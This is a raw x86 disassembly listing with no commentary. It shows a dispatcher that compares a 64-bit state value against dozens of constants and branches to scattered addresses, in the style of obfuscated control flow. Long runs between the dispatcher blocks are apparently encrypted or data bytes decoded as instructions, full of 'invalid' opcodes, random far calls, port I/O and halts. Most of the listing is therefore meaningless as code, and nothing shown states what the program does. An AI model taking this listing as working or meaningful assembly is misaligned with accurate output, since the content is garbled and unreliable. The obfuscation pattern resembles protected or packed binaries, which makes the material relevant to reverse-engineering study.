mov edx, 0x5dadd
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x53c7e
or eax, dword [ebp - 0x12c]
je 0x67b14137
mov edx, 0x53c7e
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x4bee2
or eax, dword [ebp - 0x12c]
je 0x67b187c3
mov edx, 0x4bee2
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x42d20
or eax, dword [ebp - 0x12c]
je 0x67b13575
mov edx, 0x42d20
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x39a86
or eax, dword [ebp - 0x12c]
je 0x67b158bb
mov edx, 0x39a86
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x3435d
or eax, dword [ebp - 0x12c]
je 0x67b12f94
mov edx, 0x3435d
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x30e30
or eax, dword [ebp - 0x12c]
je 0x67b1122f
mov edx, 0x30e30
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0x2fa41
or eax, dword [ebp - 0x12c]
je 0x67b129b3
mov edx, 0x2fa41
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67b187c0
mov eax, dword [ebp - 0x130]
xor eax, 0xe614
or eax, dword [ebp - 0x12c]
je 0x67b1647d
mov eax, dword [ebp - 0x130]
xor eax, 0x24249
or eax, dword [ebp - 0x12c]
je 0x67b14cf9
jmp 0x67b187c0
inc eax
xchg esi, eax
push edi
call 0x30af4bd
wait
dec edi
pop edx
push esp
aad 0x38
xchg edi, eax
pop ecx
cmpsd dword [esi], dword es:[edi]
cld
imul ebp, dword [esi], 0xffffff86
mov bl, 0xda
inc esi
retf
retf 0x45c0
pop esi
mov dword [edi + 0x23], ebp
jnp 0x67b1124f
fimul word [edi - 0x70]
int3
xchg ebx, eax
pop ss
insb byte es:[edi], dx
adc ecx, dword [esi - 0x12]
into
mov esp, 0x39d28bf0
js 0x67b11269
lcall 0xf76d, 0x9cb86fca
push ebx
test dword [edx], eax
push ds
lea ebx, [eax]
lodsb al, byte [esi]
aad 0x43
xor dl, cl
mov esi, 0x6ebf7ed2
stosb byte es:[edi], al
and dword [edx - 0xa614d39], esi
push eax
pop esp
push ebx
mov edi, 0x6b7a136b
fsub qword [edx - 0x67ce8799]
xor dword [ebx + 0x64], ebx
mov byte [0x2a6ff27e], al
mov byte [0xd7b47fe9], al
aad 0x3d
dec esi
jge 0x67b11220
and dl, 0xc1
jp 0x67b11206
mov edi, 0x4d829ae5
xchg ebp, eax
add ch, bl
cdq
mov al, byte [0xbee6c84]
invalid
fstp xword [ecx + 0x367661f7]
sbb byte [esi - 0x32], 0xcb
xor al, 0x4b
dec ebx
mov esi, ecx
jbe 0x67b117c0
inc esi
stosb byte es:[edi], al
ret
loope 0x67b11839
dec ebx
jecxz 0x67b117cb
ret 0x1551
jno 0x67b11825
push cs
loop 0x67b11889
sal byte [esi], 1
mov edx, 0xf2b31eea
and dword [edi - 0x2b], ebx
mov byte [edi], cl
jecxz 0x67b11875
cld
sbb ch, byte [edi - 0x6ea4134f]
scasd eax, dword es:[edi]
mov cl, 0xec
pop ebx
xchg ecx, eax
fdiv st(1)
add byte [eax - 0x1a363ab4], dh
insd dword es:[edi], dx
pop es
mul byte [ecx]
loop 0x67b1183e
jo 0x67b1186b
xor dword [eax + 0x31], edi
js 0x67b1186d
jecxz 0x67b117e6
stc
lodsd eax, dword [esi]
and al, byte [esi - 0x73208d94]
pop esi
pop esp
fist dword [ecx - 0xb]
and ebp, dword [esi + 0x74a1bdc4]
add byte [ebp + 3], bl
pushal
int3
mov edx, 0x88a832de
push edx
nop
xor ch, byte [eax - 0x6fc1ad78]
int3
not dword [edi + 0x2fb13e72]
inc eax
hlt
daa
inc esi
dec ebp
test dh, ch
jno 0x67b11836
mov esp, dword [edi + ecx*4]
test dword [edi], esp
push ebx
retf 0x417a
lodsb al, byte [esi]
push ecx
mov dword [0x97faf7e4], eax
jl 0x67b11da2
mov dh, 0x7b
xor byte [ecx - 0x7b78e7a3], cl
jmp 0x312cd5bd
xor eax, 0xc9b40825
dec esp
arpl word [esi], bx
sub bl, ah
add ebx, dword [edi]
bound ecx, qword [eax + 0x622e9c4b]
cmpsd dword [esi], dword es:[edi]
cmp al, byte [edi - 0x5d]
xchg ebp, eax
pushfd
bound esp, qword cs:[edi - 0x6a5cb8c6]
invalid
pushal
hlt
add byte [eax], al
wait
jnp 0x67b11def
jge 0x67b11dc8
out 0x23, eax
mov esi, ebx
pop ss
mov edx, 0xdfbe9277
pop edi
ror esi, 0x92
and al, 0x83
js 0x67b11d8a
salc
mov ah, 0x87
push ebx
add ch, bh
adc byte [esi + 0x35], 0x33
xor ch, cl
push ss
cmp ebp, dword [ebx + 0x66]
mov dl, 0x6a
jbe 0x67b11db1
je 0x67b11e88
fmul dword [ebp + 0x32]
mov al, 0xa4
aam 0x1e
adc cl, byte [esi + 0x2e]
jb 0x67b11e4c
cmp edx, esp
aaa
sub eax, 0xb4774a1a
les ebx, [eax + edx*4 + 0x3f83eabb]
inc ecx
cmp bh, dh
ljmp 0x20b1
mov al, byte [0xfb724dfc]
jb 0x67b11e49
mov cl, 0x7c
ret
imul esi, dword [edx + edi], 0x9be5adf6
std
xchg esi, eax
invalid
jnp 0x67b1243d
mov byte [edi], dl
and al, 0xcf
mov ebp, 0x91d7e52b
pop edx
ret
stc
sbb al, 0xf4
popal
das
retf
add eax, 0x4afdc10b
sbb ebp, dword [ebx + ebx + 0x3a333a4b]
dec esp
nop
int3
stosd dword es:[edi], eax
push esp
xor byte [edi], bh
xchg ecx, eax
adc ecx, dword [edx]
lodsb al, byte [esi]
add dword [ecx - 0x2e], 0x6550c7f5
mov bl, 0xc6
and byte [eax - 0x6c], dh
loop 0x67b1299f
sub eax, 0xe0fd8674
loopne 0x67b129d0
xor byte [edx], al
ja 0x67b12a00
dec edx
mov word [esi - 0x45], ss
mov bl, 0x42
cmc
outsb dx, byte [esi]
clc
sti
add ebp, eax
fnstcw word [edi - 0x4e]
aam 0xf5
mul byte [ebp - 0x12db9093]
ja 0x67b12a40
cmpsd dword [esi], dword es:[edi]
loop 0x67b129b7
inc ebx
or ah, cl
dec ebp
xor dh, ah
adc eax, 0x2807ea03
das
push 0xc987e4b9
leave
pop eax
and dh, byte [0x22e4a815]
pop es
cmp al, 0x98
push eax
jae 0x67b129e0
in al, dx
and edx, esp
int1
ror byte [edi + 0x5e], 0x90
int3
xor eax, 0x93e65b8d
int3
je 0x67b12a37
pop esp
push esp
pop ebx
aam 0x12
enter 0x2309, 0x28
xchg esp, eax
dec eax
xchg ecx, eax
stosb byte es:[edi], al
fadd dword [ecx - 0x2a35e6c2]
sub ch, byte [edx + 0x14d3803e]
xor dword [ebp - 0x26], ebx
jo 0x67b129f3
and byte [ebx - 0x71], 0x84
jge 0x67b12abd
mov esi, dword [ecx]
lodsb al, byte [esi]
mov dl, 0x70
and ecx, dword [ecx*8 - 0x1683e6b6]
lea edi, [esi]
pop eax
not byte [ecx - 0x71]
adc byte [eax - 0x445f1234], 0x59
adc edi, dword cs:[ecx]
sub byte [esi], dl
aas
push ss
shl byte [eax], 1
cld
or eax, 0x81d26dac
push 0
mov bh, 0x3b
int 0xe6
ljmp 0x1caf
fidiv word [edi - 0x450f146b]
and dword [edi - 0x4d], 0x3b602d4b
scasb al, byte es:[edi]
adc al, 0x3e
ja 0x67b12b34
salc
sbb byte [edi + 0x64], dh
int1
test byte [ebx - 0x6f5b8690], bh
das
jnp 0x67b12aad
stosd dword es:[edi], eax
retf
hlt
jnp 0x67b12b19
invalid
cld
or ebx, dword [esp + eax*2]
xor dl, 0x40
mov bh, 0x90
into
cmp dword [ebp - 0x47eadf3f], ebx
rcl byte [edx - 0x6b2653b5], cl
fisttp dword [ebx - 0x50]
pop ds
xor esi, dword [esi - 0x50e54c28]
dec ebx
lodsb al, byte [esi]
fst dword [ebx + ebx*8 + 0x331fb04b]
mov dh, 0xd8
mov bl, 0x1a
scasd eax, dword es:[edi]
xchg ebx, eax
jge 0x67b12fa6
in eax, 0xe
outsb dx, byte [esi]
push edi
retf 0x3524
inc ebx
shl byte [ebp + 0x66], 1
test byte [edi - 0x76], al
std
push 7
test byte [0xda4a6abf], 0x2a
pop esi
mov gs, word [eax + eax*8 + 0x26]
pop ebp
invalid
int3
jo 0x67b13b50
popfd
arpl word [eax], sp
xor esi, dword [eax - 3]
sbb al, 0x6c
push esi
cmpsb byte [esi], byte es:[edi]
mov dword [0xb119bc1c], eax
hlt
aam 8
outsd dx, dword [esi]
movsd dword es:[edi], dword [esi]
xchg edx, eax
invalid
and byte [esi + 0x63d895a3], cl
push esp
push es
dec ecx
out 0xce, eax
leave
int 0x75
push ebp
or esp, dword [ebx + 0x55]
mov al, byte [0x812bada1]
push edx
xor dword [eax - 0x3605df0f], esp
or eax, 0xcf1269a0
ja 0x67b147a5
out dx, al
push ds
invalid
lodsb al, byte [esi]
ret 0x2eb
mov dl, ch
or al, 0x7f
mov bl, 0xc5
cmp esp, dword [0x3ecae1d7]
push eax
salc
sub eax, 0xd530edf7
invalid
pop es
xchg edx, eax
ljmp 0x67f1
cmp dword [ebp - 0x1a], ebp
or bl, byte [edi - 0x6dd91c86]
add eax, 0x388ee673
fbstp tbyte [edi + 0x10bd1956]
and ecx, dword [ecx + 0x2a]
add ch, byte [ecx]
retf
xchg byte [ecx + 0x21], dl
adc byte [ecx - 0x76], bl
adc dword [ecx + 0x45], 0x8125f4a1
lodsb al, byte [esi]
invalid
cmp bl, byte [ebp - 0x13ad750b]
iretd
jge 0x67b16a2c
sbb eax, 0x901c4162
int3
mov dl, 8
mov ch, 0x62
jno 0x67b16a28
test al, 0xf9
xchg edi, eax
sub byte [esp + eax*4 + 0x19], al
inc esp
test byte [ecx], bl
lds esp, [edx + 0x7acfbe42]
cmc
lcall 0x85d0, 0x3ea11847
rep stosb byte es:[edi], al
mov al, byte [0x4b02c53b]
cmp dword [esi + 0x61], 0x1d
pushal
jae 0x67b169ed
or dword [ebx - 0x34], edi
or eax, 0xcc908d63
jmp 0x67b187c4
int3
sbb ebp, esi
xor ebx, edx
dec esp
in eax, 0x3e
adc byte [esi + 0x5601d1c7], dl
loope 0x67b16a32
daa
adc edi, dword [eax]
adc eax, 0x582616
xchg ecx, eax
sbb al, byte [0x7acc24b9]
jle 0x67b16a58
dec edi
xor al, 0xbf
dec ebx
cdq
add dword [eax + 0x3c], 0x3d
fcom dword [esi - 0x7a637a0e]
dec eax
iretd
xchg edx, eax
add eax, 0xa35ebb90
out 0xf8, eax
cwde
xor al, 0xa3
invalid
adc byte [edx + 0x22242fe2], ch
sub byte [edx + 0x12], bl
xor esi, dword [ecx + 0x6d5d3c93]
pop eax
invalid
jle 0x67b17c2e
invalid
push es
out dx, al
cmp cl, 0x14
adc byte [0x2163e4be], bh
scasd eax, dword es:[edi]
mov ah, byte [ebx]
cmpsd dword [esi], dword es:[edi]
xor byte [ebp + 0x38], 0xbd
int1
jecxz 0x67b17c5f
xor byte [ecx + 0x1e], bh
xchg esp, eax
pop esi
xor ebx, dword [eax]
mov ebx, 0x359e75ef
xchg ecx, eax
cmp bl, byte [ebx - 0x58]
pop ecx
fcmovnbe st(0), st(7)
shl dword [edx - 0x70ce8ded], 0x1a
movsd dword es:[edi], dword [esi]
wait
hlt
aam 0xdc
sbb dword [edi - 0x1567d15d], esi
shl dword [eax + 0x66ce5a4d], cl
invalid
nop
jmp 0x67b187c4
nop
mov dword [ebp - 0x138], 0xd6256
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x140], 0x21e64
mov dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x134]
imul eax, dword [ebp - 0x140]
mov edx, eax
mov eax, dword [ebp - 0x13c]
imul eax, dword [ebp - 0x138]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x138]
mul dword [ebp - 0x140]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x148]
xor eax, 0x5b6c7d98
mov edx, dword [ebp - 0x144]
xor edx, 0x1c
or eax, edx
je 0x67b21a15
mov edx, 0x5b6c7d98
mov eax, 0x1c
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0xd9f7c
or eax, dword [ebp - 0x144]
je 0x67b21437
mov edx, 0xd9f7c
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0xd309c
or eax, dword [ebp - 0x144]
je 0x67b1b046
mov edx, 0xd309c
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0xbf947
or eax, dword [ebp - 0x144]
je 0x67b1c7ca
mov edx, 0xbf947
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0xb899f
or eax, dword [ebp - 0x144]
je 0x67b19ea3
mov edx, 0xb899f
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0xb733c
or eax, dword [ebp - 0x144]
je 0x67b1f0f1
mov edx, 0xb733c
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0xb1bff
or eax, dword [ebp - 0x144]
je 0x67b1aa65
mov edx, 0xb1bff
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0xae3c3
or eax, dword [ebp - 0x144]
je 0x67b1a484
mov edx, 0xae3c3
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0xa3135
or eax, dword [ebp - 0x144]
je 0x67b1d38c
mov edx, 0xa3135
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x8df90
or eax, dword [ebp - 0x144]
je 0x67b18d00
mov edx, 0x8df90
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x89f84
or eax, dword [ebp - 0x144]
je 0x67b1d96d
mov edx, 0x89f84
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x6d695
or eax, dword [ebp - 0x144]
je 0x67b1cdab
mov edx, 0x6d695
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x6d610
or eax, dword [ebp - 0x144]
je 0x67b1eb10
mov edx, 0x6d610
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x6ace0
or eax, dword [ebp - 0x144]
je 0x67b1b627
mov edx, 0x6ace0
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x5f95a
or eax, dword [ebp - 0x144]
je 0x67b1e52f
mov edx, 0x5f95a
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x5d508
or eax, dword [ebp - 0x144]
je 0x67b20875
mov edx, 0x5d508
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x3a080
or eax, dword [ebp - 0x144]
je 0x67b20e56
mov edx, 0x3a080
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x36812
or eax, dword [ebp - 0x144]
je 0x67b1fcb3
mov edx, 0x36812
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x2b1da
or eax, dword [ebp - 0x144]
je 0x67b1bc08
mov edx, 0x2b1da
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x1c8fb
or eax, dword [ebp - 0x144]
je 0x67b1df4e
mov edx, 0x1c8fb
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
invalid
mov eax, dword [ebp - 0x148]
xor eax, 0x1c682
or eax, dword [ebp - 0x144]
je 0x67b198c2
mov edx, 0x1c682
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0x1ba09
or eax, dword [ebp - 0x144]
je 0x67b20294
mov edx, 0x1ba09
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
jle 0x67b18c25
add byte [eax], al
mov eax, dword [ebp - 0x148]
xor eax, 0x1b724
or eax, dword [ebp - 0x144]
je 0x67b1f6d2
mov edx, 0x1b724
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67b21a18
mov eax, dword [ebp - 0x148]
xor eax, 0xccd2
or eax, dword [ebp - 0x144]
je 0x67b1c1e9
mov eax, dword [ebp - 0x148]
xor eax, 0x173dd
or eax, dword [ebp - 0x144]
je 0x67b192e1
jmp 0x67b21a18
test al, 0xcd
cmp ch, al
jno 0x67b18c96
in eax, dx
sbb eax, 0x5676e9f1
mov ecx, 0x85f4848
or byte [ebx], ah
hlt
and eax, 0x1c87398e
imul ebx
stosb byte es:[edi], al
inc ecx
cmp al, bl
mov ch, 0x9c
arpl sp, di
femms
ljmp 0x4184
xor al, 0x41
inc ebx
movsd dword es:[edi], dword [esi]
adc byte [esi + 0x13], dh
clc
cmpsb byte [esi], byte es:[edi]
and eax, 0x505dc847
jo 0x67b19347
inc esi
lcall 0x94e7, 0xb0b87546
pop ebx
xchg esp, eax
push es
insb byte es:[edi], dx
out dx, al
daa
pop eax
jae 0x67b1929f
fist word [ecx]
sub dh, byte [eax + 0x11891221]
lodsd eax, dword [esi]
enter 0x651a, 6
rol byte [edi], 1
xor ecx, 0xffffffce
lodsb al, byte [esi]
or byte [esi - 0x67], dl
and byte [edi + 0x7e020f7c], dh
mov dword [ebx - 0x24], esp
mov eax, 0x5c167b0a
rcr byte [ecx - 0x11], cl
movsb byte es:[edi], byte [esi]
fdivr st(3), st(0)
invalid
adc esp, ecx
mov ecx, 0xaa0e4872
invalid
xor eax, 0xd427f016
jmp 0x5ae8010d
out 0x79, al
sbb dword [ecx + 0x6d], edx
xor eax, 0x17619fe
sub esp, dword [0x918bf351]
nop
pop esp
shr byte [esi - 0x794ea95d], cl
lds edi, [ebx - 0x55]
scasb al, byte es:[edi]
mov dword [0xc586b156], eax
jnp 0x67b19888
cmpsb byte [esi], byte es:[edi]
inc eax
or al, 0xec
nop
sub al, 0xf4
imul ecx, dword [ebx + edi*8], 0xba243df5
cmp eax, 0x328fa3e
pop edi
and dh, byte [esi - 0x4e4ec65f]
scasd eax, dword es:[edi]
mov edx, 0xed144f0c
in eax, dx
mov edi, 0x536932af
imul ebp, dword [eax - 0x6b], 0xa6160fe1
sub edx, ebp
inc edi
jl 0x67b198d5
cmp eax, 0x6478b97c
out 0xab, eax
invalid
int3
jge 0x67b19ed8
cmc
inc esi
inc esi
inc edx
add ebx, dword [ecx + 0x4d995af7]
add eax, 0x5af014df
dec esi
cmp byte [ebp + 0xc13770a], cl
mov dword [esp + edi*8], ebx
pop edi
add byte [edi - 0x89c9d10], 0xac
leave
dec eax
adc edi, esi
stc
lahf
xchg edx, eax
jecxz 0x67b19ed6
pop ebx
int1
sub eax, 0x47
inc edi
sbb byte [ebx - 0x5b], ch
mov eax, 0xb376859a
imul esp, dword [ebp + 0x76859ab8], 0xffffffb3
push es
dec esp
jbe 0x67b19e9d
cmp eax, 0x595efc8d
movsb byte es:[edi], byte [esi]
mov eax, 0xb45aa0c1
cmp al, 0x5b
dec edi
push ebp
add bh, byte [edi - 0x42080c71]
add ah, byte [eax + 0x4d545bbb]
and dword [esi], edi
salc
or eax, 0x90d12345
int3
pop esi
leave
xor eax, 0xe31642a2
or byte [eax + 0x7595e9cc], dl
add byte [eax], al
mov esi, 0x3092ee59
les ebp, [edi]
salc
fmul qword [ebx + 0x508961e4]
sbb bh, byte [eax]
js 0x67b1a474
invalid
sub dword [esi], edi
mov ebp, 0xe99b22e9
retf 0xc7e4
inc ebx
clc
xor byte [ecx + 0x69], 0xf3
mov ebx, 0x573abdf
or ah, cl
push ebx
mov eax, dword [0x7091a68d]
sbb ebp, edi
inc ebx
out dx, eax
into
and edx, dword [0xf7734aa3]
cwde
iretd
dec esi
mov esp, 0xc96ec4af
sub al, 0x33
aam 0xb
cmp al, 0x6d
inc edx
sbb cl, cl
pop ds
js 0x67b1b04e
sub ch, byte [edi - 0x7e]
sub dword [edx + edi*4 + 0x5e6817b8], ecx
or al, 0x17
push ds
leave
xchg esp, eax
sal dword [0xe4e27e5d], 1
push ss
jp 0x67b1b00a
sbb al, 0xc1
inc edi
jle 0x67b1b09a
jl 0x67b1b0ec
inc esp
lodsd eax, dword [esi]
out dx, eax
invalid
dec esp
adc dl, byte [ecx]
push ds
xor dword [edi + 0x45], edx
sti
or byte [ebp + 0x14], cl
aam 0xe6
nop
int3
invalid
pop ebp
mov al, byte [0x7f53e46e]
add dword [edi + 0x70961bab], 0x11
stosd dword es:[edi], eax
xor ecx, ebx
push 0xffffffffffffff90
pushfd
sar dword [ecx], cl
add eax, 0x68b66a0d
and si, word [ecx + 0x7bb92a80]
xor byte [ebx - 0x3c629725], cl
enter 0x25aa, 0xffffffffffffffb9
mov bl, 0xcc
in eax, dx
mov word [ebx], ss
adc esp, 0x50d36a5
in eax, dx
iretd
mov eax, 0x18abe24a
insb byte es:[edi], dx
nop
int3
lcall 0x1f1c, 0xb92013ba
dec edi
or edx, ebp
push ebx
push ds
lodsb al, byte [esi]
call 0x50bdf87
jb 0x67b1b5c4
and eax, 0x981216b0
mov dh, 0xed
cmpsd dword [esi], dword es:[edi]
push edx
aad 0x77
sub al, 0xe0
add dh, bl
insb byte es:[edi], dx
fist word [ebp + 0x23]
int 0xfa
xor byte [ecx + ecx*8 + 0x45090266], ch
and dword [ebx + 0x7df67db8], 0x3e
stosd dword es:[edi], eax
pop esp
xchg eax, edi
adc ch, cl
clc
push ds
jbe 0x67b1b6e6
iretd
dec esi
jb 0x67b1b61a
int3
jge 0x67b1b687
retf 0x522d
pop ds
fbld tbyte [ebx]
or eax, 0x3d21553
rcr byte [eax + ecx + 0x3f], 0x8f
in eax, 0xb1
sahf
shl dword [eax - 0x1ab1145a], cl
in eax, 0x11
dec eax
pop esp
adc dword [eax + 0x5c], ecx
or eax, 0xcc90f266
inc edx
mov esp, 0x379452c2
out dx, al
push ebx
mov byte [0x6ac9ba25], al
ficom word [ecx]
in eax, 0xef
nop
int3
leave
push 0xffffffffffffffde
adc ebp, esp
out dx, eax
lcall 0x5cdb, 0xe60115e4
fidiv dword [ecx]
push ds
inc esi
jae 0x67b1b699
cmpsb byte [esi], byte es:[edi]
fdivr dword [edx - 7]
insb byte es:[edi], dx
jl 0x67b1b735
lcall 0x7c3, 0xab26caa1
test al, 0x50
jle 0x67b1b779
cwde
mov byte [0x887bcb71], al
jecxz 0x67b1b74a
jnp 0x67b1b6e7
xlatb
jae 0x67b1b6cf
aad 0x4f
cmp edx, dword [esi - 0x4d]
jmp 0x67b1b6ec
push ss
xchg ebp, eax
lcall 0x8be8, 0x8c4042b5
rcr byte [edx], 1
fidivr dword [ebx + 0x16d8d2b8]
inc edx
inc eax
mov eax, gs
mov edx, eax
sbb ah, byte [esi - 0x26]
mov ebx, 0x16d8d2b8
sbb dword [ebx], ebp
das
sub ebp, dword [edi]
add byte [esi + 0x5b], cl
and eax, 0xb5cc90bb
jb 0x67b1b7bf
pop ss
cmp esi, dword [edx - 0x61890be1]
jbe 0x67b1b6fb
or dword [edx], ecx
xchg ebp, ecx
iretd
xchg edi, esi
sub dl, byte [eax]
adc edi, esi
cmp al, 0x6f
adc eax, 0x442a0ff4
inc eax
ror dword [ecx + ebp*4 - 0x546e6970], 1
xlatb
insd dword es:[edi], dx
popfd
mov al, byte [0xf6dc7ba0]
inc ebp
lcall 0x9567, 0x2e309589
jnp 0x67b1b75b
test byte [ebp - 0x66], 0x89
xchg ebp, eax
xor byte [esi], ch
xchg ebp, eax
jle 0x67b1b73b
mov ah, 0xcf
out dx, eax
xchg ebp, eax
loop 0x67b1b7a6
add eax, eax
sbb eax, ecx
scasb al, byte es:[edi]
or eax, 0xa16b7344
pushal
stc
nop
or dh, dl
rcr dword [eax - 0x27], cl
ja 0x67b1b77d
sbb al, 0x22
mov esp, dword [eax + edi*2]
push esi
mov dh, 0x66
and dword [ebx - 0x20], ebp
jo 0x67b1b763
inc ebx
ror byte [edx - 0x76336fa3], 0x29
add al, 0x93
sbb eax, 0x8a9ed6f8
push edi
daa
mov dl, byte [edi + 0x27]
sub ch, al
invalid
hlt
pop ss
xchg esp, eax
pop esp
rcl dword [edi], cl
sbb byte [ebp + 0x55], ah
xor al, 0xfe
std
add edi, dword [edx]
ljmp 0x44d6
in al, 0x8e
retf 0xfe62
sub al, 0xc3
leave
pop ebp
dec edi
and byte [esi + edi*4 - 0x10524341], dh
mov ch, dh
clc
test eax, 0x93dc50d
inc edx
pop esp
or ah, byte [ebx - 0x50b02050]
scasd eax, dword es:[edi]
and dword [edi], ebx
sub ebx, dword [ecx - 0x29]
mov byte [0x4fa4caea], al
jo 0x67b1cdc6
test bh, bl
fmul qword [ebx + ebx*4 + 0x5eaeab35]
test byte [ebx - 0x43], dh
adc al, 0xf2
sbb al, 0x42
adc ebx, 0xaa385192
add dword [edi], 0x74
pushal
jge 0x67b1ce54
adc eax, 0xf4a1299c
invalid
mov eax, dword [0x6ec766f4]
push ecx
int 0
jge 0x67b1ce1b
in al, dx
add edx, dword [ebp + 0xa4838f1]
invalid
mov eax, dword [0xd978cc90]
repz ret
sub byte [eax + 0x4f41f4af], bh
into
loopne 0x67b1ce0c
ficomp word [ebp - 0x7e]
push cs
out 0x3e, al
loopne 0x67b1ce39
cli
stc
invalid
lcall 0xde7f, 0x70dea281
dec esp
shl byte [0xa1a79e5], cl
mov al, 0x62
sbb al, 0xe5
out 0x46, eax
pop esi
imul edx, dword [esi + 0x23], 0x5a4861a7
pop edx
xchg edx, eax
dec esp
mov dword [0xa2e0b268], eax
loope 0x67b1ce73
sub esi, dword [ebx + 0x32]
xor eax, ecx
xor byte [esp + edi*4], bl
dec ebp
sti
jecxz 0x67b1cdf3
pop edx
cwde
cmp byte [ecx - 0x2336f4b], al
std
invalid
fld xword [ebx + 0x24]
out dx, al
cmp ecx, dword [ebx]
nop
int3
dec edx
fmul qword [ebx]
scasb al, byte es:[edi]
inc eax
and al, 0xba
mov ebx, 0xcbc5b96
jl 0x67b1d3a6
sub eax, dword [esi]
mov dh, al
outsd dx, dword [esi]
sub byte [eax + 0x706b3eeb], al
sub eax, 0x9ab53c00
mov dword [0x47574325], eax
nop
lcall 0x9047, 0x574325a3
int3
ja 0x67b1d31b
mov bh, 0x55
inc ebp
jb 0x67b1d3b1
aas
movsd dword es:[edi], dword [esi]
pop ebp
add al, 0x69
cmpsb byte [esi], byte es:[edi]
mov word [ebp - 0x7a1aa096], ds
invalid
popfd
shl byte [ecx], 1
sahf
xchg ebp, eax
push ss
jno 0x67b1d37f
movsb byte es:[edi], byte [esi]
outsd dx, dword [esi]
invalid
cmp dword [edi - 0x23172b7f], esp
mov byte [0x359742a6], al
loopne 0x67b1d362
invalid
iretd
adc dword [esi + ebx + 0x3d], esp
ret
cmp dh, ah
jl 0x67b1de90
dec ebx
cmp byte [ebx], bl
mov edx, 0xe6482573
jne 0x67b1df1f
xchg ecx, eax
pop ebp
mov dh, 0xe7
out 0x44, eax
nop
int3
sti
sub byte [esi + 8], 0xbd
shr byte cs:[edx - 0x69a94030], 1
mov edi, 0xc509bc7d
xor al, 0x77
mov byte [0xb50b9143], al
